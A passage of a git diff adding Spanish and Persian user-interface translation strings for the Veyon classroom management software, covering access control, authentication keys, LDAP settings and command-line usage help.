sesión a los usuarios de todos los equipos. + + + Confirm user logout + Confirmar el cierre de sesión del usuario + + + Do you really want to logout the selected users? + ¿Realmente desea cerrar la sesión con los usuarios seleccionados? + + + Logout + Desconectar + + + + VeyonCore + + [OK] + [OK] + + + [FAIL] + [FALLO] + + + Invalid command! + ¡Comando inválido! + + + Available commands: + Comandos disponibles: + + + Invalid arguments given + Argumentos inválidos + + + Not enough arguments given - use "%1 help" for more information + No hay suficientes argumentos - utilice "%1 help" para obtener más información + + + Unknown result! + ¡Resultado desconocido! + + + Available modules: + Módulos disponibles: + + + No module specified or module not found - available modules are: + No se especificó ningún módulo o no se encontró el módulo; los módulos disponibles son: + + + Plugin not licensed + Complemento no licenciado + + + INFO + INFO + + + ERROR + ERROR + + + licensed for + licenciado para + + + + VeyonServiceControl + + Veyon Service + Servicio Veyon + + + + VncView + + Establishing connection to %1 ... + Estableciendo conexión con %1 ... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + Plugin implementando funciones abstractas para la plataforma Windows + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + WindowsServiceControl: el servicio "%1" ya está instalado. + + + WindowsServiceControl: the service "%1" could not be installed. + WindowsServiceControl: el servicio "%1" no se pudo instalar. + + + WindowsServiceControl: the service "%1" has been installed successfully. + WindowsServiceControl: el servicio "%1" se ha instalado correctamente. + + + WindowsServiceControl: the service "%1" could not be uninstalled. + WindowsServiceControl: el servicio "%1" no se pudo desinstalar. + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + WindowsServiceControl: el servicio "%1" se ha desinstalado correctamente. + + + WindowsServiceControl: the start type of service "%1" could not be changed. + WindowsServiceControl: el tipo de servicio de inicio "%1" no se pudo cambiar. + + + WindowsServiceControl: service "%1" could not be found. + WindowsServiceControl: el servicio "%1" no se pudo encontrar. + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + Configuración de servidor x11vnc incorporado + + + Custom x11vnc parameters: + Parámetros personalizados de x11vnc: + + + Do not use X Damage extension + No usar extensión X Damage + + + \ No newline at end of file diff --git a/translations/fa.ts b/translations/fa.ts new file mode 100644 index 0000000..7ac0cfa --- /dev/null +++ b/translations/fa.ts @@ -0,0 +1,3816 @@ + + + AboutDialog + + About + درباره + + + Translation + ترجمه + + + License + مجوز + + + About Veyon + درباره ویون + + + Contributors + همکاران + + + Version: + نسخه: + + + Website: + وب سایت: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + زبان فعلی هنوز ترجمه نشده است (یا زبان مادری انگلیسی). +اگر شما علاقه مند به ترجمه Veyon به زبان محلی خود یا زبان دیگری هستید یا مایل به بهبود ترجمه های موجود هستید، لطفا با یک توسعه دهنده Veyon تماس بگیرید! + + + About %1 %2 + درباره %1 %2 + + + Support Veyon project with a donation + پشتیبانی پروژه ویون با کمک مالی + + + + AccessControlPage + + Computer access control + کنترل دسترسی کامپیوتر + + + Grant access to every authenticated user (default) + دسترسی به هر کاربر معتبر (به طور پیش فرض) را تأیید کنید + + + Test + تست + + + Restrict access to members of certain user groups + دسترسی به اعضای گروه های کاربر خاص را محدود کنید + + + Process access control rules + قوانین کنترل دسترسی کنترل فرآیند + + + User groups authorized for computer access + گروه های کاربری مجاز برای دسترسی به کامپیوتر + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + لطفا گروه هایی را که اعضای شما مجاز به دسترسی به کامپیوتر در شبکه ویون شما هستند، اضافه کنید. + + + Authorized user groups + گروه های کاربری مجاز + + + All groups + تمام گروه ها + + + ... + ... + + + Access control rules + قوانین کنترل دسترسی + + + Add access control rule + اضافه کردن قانون کنترل دسترسی + + + Remove access control rule + حذف قانون کنترل دسترسی + + + Move selected rule down + پایین بردن قانون انتخاب شده + + + Move selected rule up + بالا بردن قانون انتخاب شده + + + Edit selected rule + ویرایش قانون انتخاب شده + + + Enter username + نام کاربری را وارد کنید + + + Please enter a user login name whose access permissions to test: + لطفا یک نام کاربری ورود به سیستم که مجوزهای دسترسی برای تست را دارد وارد کنید: + + + Access allowed + دسترسی مجاز است + + + The specified user is allowed to access computers with this configuration. + کاربر مورد نظر مجاز است به این پیکربندی دسترسی پیدا کند. + + + Access denied + دسترسی غیرمجاز است + + + The specified user is not allowed to access computers with this configuration. + کاربر مورد نظر مجاز نیست به این پیکربندی دسترسی پیدا کند. + + + Enable usage of domain groups + استفاده از گروههای دامنه را فعال کنید + + + User groups backend: + گروه های کاربر: + + + Missing user groups backend + گروه های کاربری فاقد بخش مدیریت + + + No default user groups plugin was found. Please check your installation! + هیچ پلاگین گروه کاربر پیش فرض یافت نشد لطفا نصب خود را بررسی کنید! + + + + AccessControlRuleEditDialog + + Edit access control rule + ویرایش قانون کنترل دسترسی + + + General + عمومی + + + enter a short name for the rule here + یک نام کوتاه برای این قانون بنویسید + + + Rule name: + نام قانون: + + + enter a description for the rule here + اینجا توضیحی برای این قانون وارد کنید + + + Rule description: + شرح قانون: + + + Invert all conditions ("is/has" interpreted as "is/has not") + همه شرایط را غیرفعال کنید ("is / has" به عنوان "آیا / ندارد" تفسیر شده است) + + + Conditions + شرایط + + + is member of group + عضو گروه است + + + is located in room + در اتاق قرار دارد + + + Accessing computer is localhost + دسترسی به کامپیوتر میزبان محلی است + + + Accessing user is logged on user + دسترسی به کاربر به کاربر وارد شده است + + + Accessing user is already connected + دسترسی به کاربر در حال حاضر اتصال است + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + اگر بیشتر از یک شرایط فعال شود، هر شرایط باید برای تطابق قوانین (منطقی AND) مطابقت داشته باشد. اگر فقط یکی از شرایط چندگانه برای برآورده شدن باشد (منطقی OR)، لطفا قوانین کنترل دسترسی چندگانه ایجاد کنید. + + + Action + اقدام + + + Allow access + اجازه دسترسی + + + Deny access + دسترسی غیرمجاز + + + Ask logged on user for permission + از کاربر خواسته شده برای مجوز وارد شوید + + + None (rule disabled) + هیچکدام (قانون غیرفعال شده است) + + + Accessing user + دسترسی به کاربر + + + Accessing computer + دسترسی به کامپیوتر + + + Local (logged on) user + محلی (وارد سیستم) کاربر + + + Local computer + کامپیوتر محلی + + + Always process rule and ignore conditions + همیشه قوانین را فراموش کنید و شرایط را نادیده بگیرید + + + No user logged on + هیچ کاربری وارد نشده است + + + Accessing computer is located in the same room as local computer + دسترسی به کامپیوتر در همان اتاق به عنوان کامپیوتر محلی واقع شده است + + + Accessing user has one or more groups in common with local (logged on) user + دسترسی به کاربر دارای یک یا چند گروه مشترک با کاربر محلی (وارد شده) است + + + + AccessControlRulesTestDialog + + Access control rules test + تست قوانین کنترل دسترسی + + + Accessing user: + دسترسی کاربر: + + + Local computer: + کامپیوتر محلی: + + + Accessing computer: + دسترسی کامپیوتر + + + Please enter the following user and computer information in order to test the configured ruleset. + برای تست تنظیمات پیکربندی شده، لطفا اطلاعات کاربر و رایانه زیر را وارد کنید. + + + Local user: + کاربر محلی: + + + Connected users: + کاربران متصل : + + + The access in the given scenario is allowed. + دسترسی به سناریو داده شده مجاز است. + + + The access in the given scenario is denied. + دسترسی به سناریو داده شده ممنوع است. + + + The access in the given scenario needs permission of the logged on user. + دسترسی به سناریو داده شده نیاز به اجازه ورود کاربر دارد. + + + ERROR: Unknown action + خطا: اقدام ناشناخته + + + Test result + نتیجه تست + + + + AuthKeysConfigurationPage + + Authentication keys + کلیدهای احراز هویت + + + Introduction + معرفی + + + Key file directories + دایرکتوری فایل های کلیدها + + + Public key file base directory + دایرکتوری پایگاه داده کلید عمومی + + + Private key file base directory + فایل پایگاه داده فایل خصوصی + + + ... + ... + + + Available authentication keys + کلیدهای تأیید موجود + + + Create key pair + ایجاد جفت کلید + + + Delete key + حذف کلید + + + Import key + وارد کردن کلید + + + Export key + صادرکردن کلید + + + Set access group + تعیین گروه دسترسی + + + Key files (*.pem) + فایل های کلیدی (* .pem) + + + Authentication key name + نام کلید تایید + + + Please enter the name of the user group or role for which to create an authentication key pair: + لطفا نام گروه کاربری یا نقش مورد نظر برای ایجاد یک جفت کلید تأیید اعتبار را وارد کنید: + + + Do you really want to delete authentication key "%1/%2"? + آیا واقعا میخواهید کلید تأیید اعتبار «٪ 1 /٪ 2» را حذف کنید؟ + + + Please select a key to delete! + لطفا یک کلید برای حذف انتخاب کنید! + + + Please enter the name of the user group or role for which to import the authentication key: + لطفا نام گروه کاربری یا نقش را برای وارد کردن کلید تأیید اعتبار وارد کنید. + + + Please select a key to export! + لطفا یک کلید برای صدورانتخاب کنید! + + + Please select a user group which to grant access to key "%1": + لطفا یک گروه کاربری که برای اعطای دسترسی به کلید "٪ 1" را انتخاب کنید: + + + Please select a key which to set the access group for! + لطفا یک کلید را برای تنظیم گروه دسترسی برای انتخاب کنید! + + + Please perform the following steps to set up key file authentication: + لطفا مراحل زیر را برای راه اندازی احراز هویت فایل کلید انجام دهید: + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + + + + Key name contains invalid characters! + + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + + + + Failed to write output file. + + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + + + + Failed to write key file "%1". + + + + Failed to set permissions for key file "%1"! + + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + + + + Failed to create directory for private key file "%1". + + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + + + + Failed to read key file. + + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + + + + List authentication keys + + + + Import public or private key + + + + Export public or private key + + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + + + + ACCESS GROUP + + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + + + + Type + + + + Access group + + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + + + + Rooms + + + + Computers + + + + Name + + + + Host address/IP + + + + MAC address + + + + Add new room + + + + Remove selected room + + + + Add new computer + + + + Remove selected computer + + + + New room + + + + New computer + + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + + + + Add a room or computer + + + + Clear all rooms and computers + + + + Dump all or individual rooms and computers + + + + List all rooms and computers + + + + Remove a room or computer + + + + Import objects from given file + + + + Export objects to given file + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + + + + Name + + + + Host address + + + + MAC address + + + + Specified object not found. + + + + File "%1" does not exist! + + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + + + + Room + + + + Computer + + + + Root + + + + Invalid + + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + سرور داخلی vnc (ultravnc) + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + سرور داخلی vnc (x11vnc) + + + + ComputerControlListModel + + Room: %1 + اتاق: %1 + + + Host/IP address: %1 + میزبان / آدرس آی پی :٪ 1 + + + Active features: %1 + ویژگی های فعال:٪ 1 + + + Online and connected + آنلاین و متصل + + + Establishing connection + برقراری ارتباط + + + Computer offline or switched off + کامپیوتر آفلاین یا خاموش است + + + Service unreachable or not running + سرویس غیر قابل دسترس یا در حال اجرا نیست + + + Authentication failed or access denied + تأیید اعتبار ناموفق بود یا دسترسی به آن ممنوع شد + + + Disconnected + قطع شده + + + No user logged on + هیچ کاربری وارد نشده است + + + Logged on user: %1 + کاربر وارد شده:٪ 1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + ٪ 1 سرویس٪ 2 در٪ 3:٪ 4 + + + Authentication error + خطا احراز هویت + + + Remote access + + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + مدیریت کامپیوتر + + + Add room + اضافه کردن اتاق + + + Save computer/user list + ذخیره لیست کامپیوتر / کاربران + + + Select output filename + انتخاب نام فایل خروجی + + + CSV files (*.csv) + فایل های csv (*.csv) + + + File error + فایل خطا + + + Could not write the computer and users list to %1! Please check the file access permissions. + لیست کامپیوتر و کاربران را به٪ 1 نمی توان نوشت! لطفا مجوز دسترسی به فایل را بررسی کنید. + + + Computer search + جستجوی رایانه + + + + ComputerManager + + User + کاربر + + + Missing network object directory plugin + گم شده پلاگین دایرکتوری شیء شبکه + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + هیچ پلاگین دایرکتوری شیء پیش فرض شبکه یافت نشد. لطفا نصب خود را بررسی کنید یا یک پایگاه داده دایرکتوری شیء شبکه دیگر را از طریق٪ 1 Configurator پیکربندی کنید. + + + Computer name;Host name;User + نام کامپیوتر؛ نام میزبان؛ کاربر + + + Room detection failed + بازیابی اتاق ناموفق است + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + اتاق مورد نظر این کامپیوتر را نمیتوان تعیین کرد. این نشان دهنده یک مشکل با پیکربندی سیستم است. همه اتاقها به جای آن در مدیریت کامپیوتر نمایش داده می شوند. + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + لطفا یک فایل پیکربندی موجود برای وارد کردن را مشخص کنید + + + Please specify a valid filename for the configuration export. + لطفا نام فایل معتبر را برای تنظیم پیکربندی مشخص کنید. + + + Please specify a valid key. + لطفا یک کلید معتبر را مشخص کنید + + + Specified key does not exist in current configuration! + کلید مشخص در پیکربندی فعلی وجود ندارد! + + + Please specify a valid value. + لطفا یک مقدار معتبر را مشخص کنید. + + + Configure Veyon at command line + پیکربندی Veyon در خط فرمان + + + Output file is not writable! + فایل خروجی قابل نوشتن نیست! + + + Output directory is not writable! + دایرکتوری خروجی قابل نوشتن نیست! + + + Configuration file is not readable! + فایل پیکربندی قابل خواندن نیست! + + + Clear system-wide Veyon configuration + پاک کردن پیکربندی Veyon در سراسر سیستم + + + List all configuration keys and values + لیست تمام کلید های پیکربندی و مقادیر + + + Import configuration from given file + وارد نمودن پیکربندی از فایل داده شده + + + Export configuration to given file + ذخیره پیکربندی به فایل داده شده + + + Read and output configuration value for given key + خواندن و خروجی مقدار پیکربندی برای کلید داده شده + + + Write given value to given configuration key + مقدار داده شده به کلید پیکربندی داده شده را بنویسید + + + Unset (remove) given configuration key + رها کردن (حذف) کلید تنظیمات داده شده + + + Commands for managing the configuration of Veyon + دستورات برای مدیریت پیکربندی Veyon + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + ویژگی Property Autostart برای سرویس٪ 1 قابل تغییر نیست. + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + تنظیمات نسل SAS توسط نرم افزار امکان پذیر نیست. ارسال Ctrl + Alt + Del از طریق کنترل از راه دور کار نخواهد کرد! + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + نمایش%1 + + + + DemoConfigurationPage + + Demo server + نمایش سرور + + + Tunables + + + + ms + ام اس + + + Key frame interval + فاصله فریم کلیدی + + + Memory limit + محدودیت حافظه + + + Use multithreading (experimental) + استفاده از Multithreading (تجربی) + + + MB + مگابایت + + + Update interval + به روز رسانی فاصله + + + s + اس + + + + DemoFeaturePlugin + + Fullscreen demo + نمایش تمام صفحه + + + Stop demo + توقف نمایش تمام صفحه + + + Window demo + نمایش پنجره + + + Give a demonstration by screen broadcasting + نمایش توسط پخش روی صفحه نمایش + + + Demo server + نمایش سرور + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + در این حالت صفحه نمایش شما در حالت تمام صفحه در تمام رایانه ها نمایش داده می شود در حالی که دستگاه های ورودی کاربران قفل می شوند + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + در این حالت صفحه شما در یک پنجره در همه رایانه ها نمایش داده می شود. کاربران می توانند در صورت نیاز به پنجره های دیگر تغییر دهند. + + + + DesktopAccessDialog + + Desktop access dialog + پنجره دسترسی به دسک تاپ + + + Confirm desktop access + تأیید دسترسی به دسکتاپ + + + Never for this session + این جلسه برگزار نشود + + + Always for this session + این جلسه برگزار شود + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + کاربر٪ 1 در کامپیوتر٪ 2 میخواهد به دسکتاپ شما دسترسی پیدا کند. آیا می خواهید دسترسی را اعطا کنید؟ + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + + + + Path + + + + Add new program + + + + Remove selected program + + + + Predefined websites + + + + Remove selected website + + + + URL + + + + New program + + + + New website + + + + + DesktopServicesFeaturePlugin + + Run program + اجرای برنامه + + + Open website + وبسایت را باز کنید + + + Click this button to open a website on all computers. + برای باز کردن یک وب سایت روی تمام رایانه ها ، روی این دکمه کلیک کنید. + + + Please enter the URL of the website to open: + لطفا نشانی اینترنتی وبسایت را باز کنید: + + + Start programs and services in user desktop + شروع برنامه ها و خدمات در دسکتاپ کاربر + + + Click this button to run a program on all computers. + برای اجرای یک برنامه روی تمام رایانه ها روی این دکمه کلیک کنید. + + + Run program "%1" + + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + سرور خارجی VNC + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + پیکربندی سرور خارجی VNC + + + Port: + پورت + + + Password: + رمز + + + + FeatureControl + + Feature control + کنترل ویژگی + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + رابط کاربری + + + Language: + زبان + + + Use system language setting + از تنظیمات زبان سیستم استفاده کنید + + + Veyon + ویون + + + Logging + ورود به سیستم + + + Log file directory + دایرکتوری فایل ثبت فعالیت + + + ... + ... + + + Log level + سطح ورود + + + Nothing + هیچ چی + + + Only critical messages + فقط پیام های بحرانی + + + Errors and critical messages + خطاها و پیام های بحرانی + + + Warnings and errors + هشدارها و خطاها + + + Information, warnings and errors + اطلاعات، هشدارها و خطاها + + + Debug messages and everything else + پیام های اشکال زدایی و هر چیز دیگری + + + Limit log file size + محدود کردن اندازه فایل ورودی + + + Clear all log files + پاک کردن تمام ثبت فعالیت + + + Log to standard error output + ثبت گزارش به خروجی استاندارد خطا + + + Network object directory + + + + Backend: + + + + Update interval: + + + + %1 service + + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + + + + Log files cleared + + + + All log files were cleared successfully. + + + + Error + + + + Could not remove all log files. + + + + MB + مگابایت + + + Rotate log files + + + + x + + + + seconds + + + + Write to logging system of operating system + + + + Authentication + + + + Method: + + + + Logon authentication + ورود احراز هویت شده ها + + + Key file authentication + فایل کلید احراز هویت + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + + + + Allow access to the internet + + + + Show help about command + نمایش راهنما در مورد این فرمان + + + Block internet + + + + Click this button to block access to the internet. + + + + Unblock internet + + + + Click this button to allow access to the internet. + + + + Control access to the internet + + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + + + + Basic settings + + + + General + عمومی + + + LDAP server and port + + + + Bind DN + + + + Bind password + + + + Anonymous bind + + + + Use bind credentials + + + + Test + تست + + + Base DN + + + + Fixed base DN + + + + e.g. dc=example,dc=org + + + + Discover base DN by naming context + + + + e.g. namingContexts or defaultNamingContext + + + + Environment settings + + + + Object trees + + + + Computer tree + + + + e.g. OU=Groups + + + + User tree + + + + e.g. OU=Users + + + + e.g. OU=Computers + + + + Group tree + + + + Perform recursive search operations in object trees + + + + Object attributes + + + + e.g. hwAddress + + + + Computer host name attribute + + + + e.g. member or memberUid + + + + User login attribute + + + + e.g. dNSHostName + + + + Computer MAC address attribute + + + + Group member attribute + + + + e.g. uid or sAMAccountName + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + Advanced settings + + + + Optional object filters + + + + Filter for user groups + + + + Filter for users + + + + Filter for computer groups + + + + Group member identification + + + + Distinguished name (Samba/AD) + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + + List all groups of a user + + + + List all groups of a computer + + + + Get computer object by IP address + + + + LDAP connection failed + + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + + + + LDAP base DN test successful + + + + LDAP naming context test failed + + + + LDAP naming context test successful + + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + + + + user tree + + + + group tree + + + + computer tree + + + + Enter username + نوشتن نام کاربری + + + Please enter a user login name (wildcards allowed) which to query: + + + + user objects + + + + user login attribute + + + + Enter group name + + + + Please enter a group name whose members to query: + + + + group members + + + + group member attribute + + + + Group not found + + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + + + + Enter computer name + + + + Please enter a computer host name to query: + + + + Invalid host name + + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + + + + computer objects + + + + computer host name attribute + + + + Enter computer DN + + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + + + + computer MAC address attribute + + + + users + + + + user groups + + + + computer groups + + + + Please enter a user login name whose group memberships to query: + + + + groups of user + + + + user login attribute or group membership attribute + + + + User not found + + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + + + + Enter host name + + + + Please enter a computer host name whose group memberships to query: + + + + groups of computer + + + + computer host name attribute or group membership attribute + + + + Computer not found + + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + + + + Enter computer IP address + + + + Please enter a computer IP address which to resolve to an computer object: + + + + Host name lookup failed + + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + + + + computers + + + + LDAP %1 test failed + + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + + + + LDAP %1 test successful + + + + The %1 has been queried successfully and %2 entries were found. + + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + + + + %1 %2 have been queried successfully: + +%3 + + + + LDAP filter test failed + + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + + + + LDAP filter test successful + + + + %1 %2 have been queried successfully using the configured filter. + + + + (only if different from group tree) + + + + Computer group tree + + + + computer group tree + + + + Filter for computers + + + + e.g. room or computerLab + + + + List all members of a computer room + + + + List all computer rooms + + + + Enter computer room name + + + + Please enter the name of a computer room (wildcards allowed): + + + + computer rooms + + + + computer room attribute + + + + Please enter the name of a computer room whose members to query: + + + + computer room members + + + + computer group filter or computer room member aggregation + + + + Computer rooms + + + + Integration tests + + + + Computer room attribute + + + + Aggregate computers in a room via: + + + + Computer groups + + + + Computer room attribute in computer objects + + + + Test not applicable + + + + Computer room name attribute + + + + e.g. name or description + + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + + + + TLS + + + + SSL + + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + + + + Query objects from LDAP directory + + + + Show help about command + نمایش راهنما در مورد این فرمان + + + Commands for configuring and testing LDAP/AD integration + + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + + + + + MainToolBar + + Configuration + + + + Disable balloon tooltips + + + + Show icons only + + + + + MainWindow + + MainWindow + + + + toolBar + + + + General + عمومی + + + &File + + + + 